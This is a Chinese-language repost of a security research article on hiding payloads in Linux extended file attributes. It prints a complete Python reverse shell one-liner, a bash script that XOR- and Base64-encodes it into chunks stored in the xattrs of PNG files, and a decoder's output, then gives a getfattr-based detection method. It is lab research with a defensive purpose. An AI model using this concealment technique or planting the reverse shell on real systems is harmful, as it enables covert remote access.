掘金 人工智能 19小时前
利用Linux扩展文件属性隐藏恶意负载的技术分析
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

本文介绍了Linux文件系统扩展属性(xattr)的功能,该功能允许为文件附加元数据,类似于Windows的备用数据流。文章展示了如何利用xattr隐藏恶意负载,通过将Python反向Shell代码分割、XOR加密并Base64编码后存储在文件的扩展属性中。并提供了相应的编码脚本和解码程序。最后,文章探讨了使用getfattr命令检测隐藏在xattr中的恶意内容的方法,但也提醒用户操作系统自身也会大量使用此功能,增加了检测的复杂性。

✨ Linux扩展文件属性(xattr)允许为文件附加用户自定义的元数据,其功能类似于Windows NTFS文件系统中的备用数据流(ADS),这些数据不会直接显示给用户,但可用于存储任意与文件相关的内容,为隐藏信息提供了可能。

🛡️ 恶意利用xattr隐藏负载的实现方式包括将恶意代码(如Python反向Shell)分割成固定大小的块,使用单字节密钥进行XOR加密,然后进行Base64编码,最后将编码后的数据逐块存储在文件的扩展属性中,例如以“user.payload”为键名。

🔑 编码过程涉及将原始负载分割成32字节的块,然后通过Python脚本实现XOR加密(使用0xFB密钥)和Base64编码,并将这些处理后的数据通过`setfattr`命令写入文件的扩展属性,如示例中的`picture-0.png`文件。

🧩 解码过程则需要将存储在不同文件扩展属性中的编码数据提取出来,进行Base64解码和XOR解密(使用相同的0xFB密钥),最终重组出原始的恶意负载,例如一个完整的Python反向Shell脚本。

🔍 检测隐藏在xattr中的恶意内容,可以通过递归使用`getfattr -Rd -m- .`命令扫描文件系统,并结合`grep`和`cut`命令过滤出带有特定前缀(如`user.payload`)的扩展属性,但需注意操作系统本身也会大量使用xattr,增加了区分难度。

在Linux扩展文件属性中隐藏负载

本周SANSFIRE[1]期间,作者参加了FOR5772培训。第二天课程涉及不同文件系统及其数据组织方式。在Linux生态中,多数文件系统(ext3/ext4/xfs等)支持"扩展文件属性"(xattr),该功能允许用户为文件添加元数据。这些数据不会直接展示给用户,可包含任意与文件相关的内容(如作者名、简要描述等)。该功能类似于Windows NTFS文件系统中的备用数据流(ADS)。

使用方式

Ubuntu系统通过"attr"软件包提供操作工具:

remnux@remnux:~/malwarezoo/xattr$ setfattr -n user.note -v "Hello ISC!" sample.txt remnux@remnux:~/malwarezoo/xattr$ getfattr -d -n "user.note" sample.txt # file: sample.txtuser.note="Hello ISC!"

注意属性前缀"user"称为类别(class),当前定义有四种类别:security、system、trusted和user。

恶意利用实验

课程讨论中产生了一个想法:"能否利用此存储空间隐藏恶意内容?"作者随后开发了概念验证(PoC),使用扩展属性存储经过处理的Python反向Shell代码。

负载编码方案

    将负载分割为多个文件(每份32字节)使用单字节密钥(0xFB)进行XOR加密Base64编码处理

示例负载是一个连接127.0.0.1:4444的Python反向Shell:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

编码脚本

#!/bin/bash# 将负载编码到扩展属性中PAYLOAD='import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'CHUNK_SIZE=32CHUNKS=()i=0# 将负载分割为32字节的块while [ $((i * CHUNK_SIZE)) -lt ${#PAYLOAD} ]; do  CHUNK=${PAYLOAD:$((i * CHUNK_SIZE)):CHUNK_SIZE}  CHUNKS+=("$CHUNK")  ((i++))done# 编码并保存扩展属性echo "Payload:"echo $PAYLOADechoecho "分块数量: ${#CHUNKS[@]}"for idx in "${!CHUNKS[@]}"; do  cp isc.png picture-$idx.png  echo -n ${CHUNKS[$idx]} \    | python3 -c "import sys; sys.stdout.buffer.write(bytes([b ^ 0xFB for b in sys.stdin.buffer.read()]))" \    | base64 -w0 > tmp && mv tmp "picture-$idx.b64"  echo "CHUNK$((idx + 1)) = ${CHUNK[$idx]} ($(cat picture-$idx.b64))"  setfattr -n user.payload -v "$(cat picture-$idx.b64)" picture-$idx.png  rm picture-$idx.b64done

解码实现

作者用C语言编写了PoC程序[3],可提取并重组隐藏负载:

remnux@remnux:~/malwarezoo/xattr$ ./poc picture-0.png picture-1.png picture-2.png picture-3.png picture-4.png picture-5.png picture-6.pngimport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

防御检测方法

使用getfattr命令递归扫描系统:

remnux@remnux:~/malwarezoo$ getfattr -Rd -m- . | grep "^# file:" | cut -d ":" -f2xattr/picture-2.pngxattr/picture-0.pngxattr/picture-5.pngxattr/picture-1.pngxattr/sample.txtxattr/picture-3.pngxattr/picture-6.pngxattr/picture-4.png

需注意操作系统本身也会大量使用此功能,如存储POSIX ACL:

remnux@remnux:~/malwarezoo$ sudo getfattr -m- -d /var/log/journalgetfattr: Removing leading '/' from absolute path names# file: var/log/journalsystem.posix_acl_access=0sAgAAAAEABwD/////BAAFAP////8IAAUABAAAABAABQD/////IAAFAP////8=system.posix_acl_default=0sAgAAAAEABwD/////BAAFAP////8IAAUABAAAABAABQD/////IAAFAP////8=

[1] www.sans.org/cyber-secur…[2] www.sans.org/cyber-secur…[3] github.com/xme/SANS-IS…

Fish AI Reader

Fish AI Reader

AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

FishAI

FishAI

鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

联系邮箱 441953276@qq.com

相关标签

Linux 扩展文件属性 xattr 恶意负载 信息隐藏
相关文章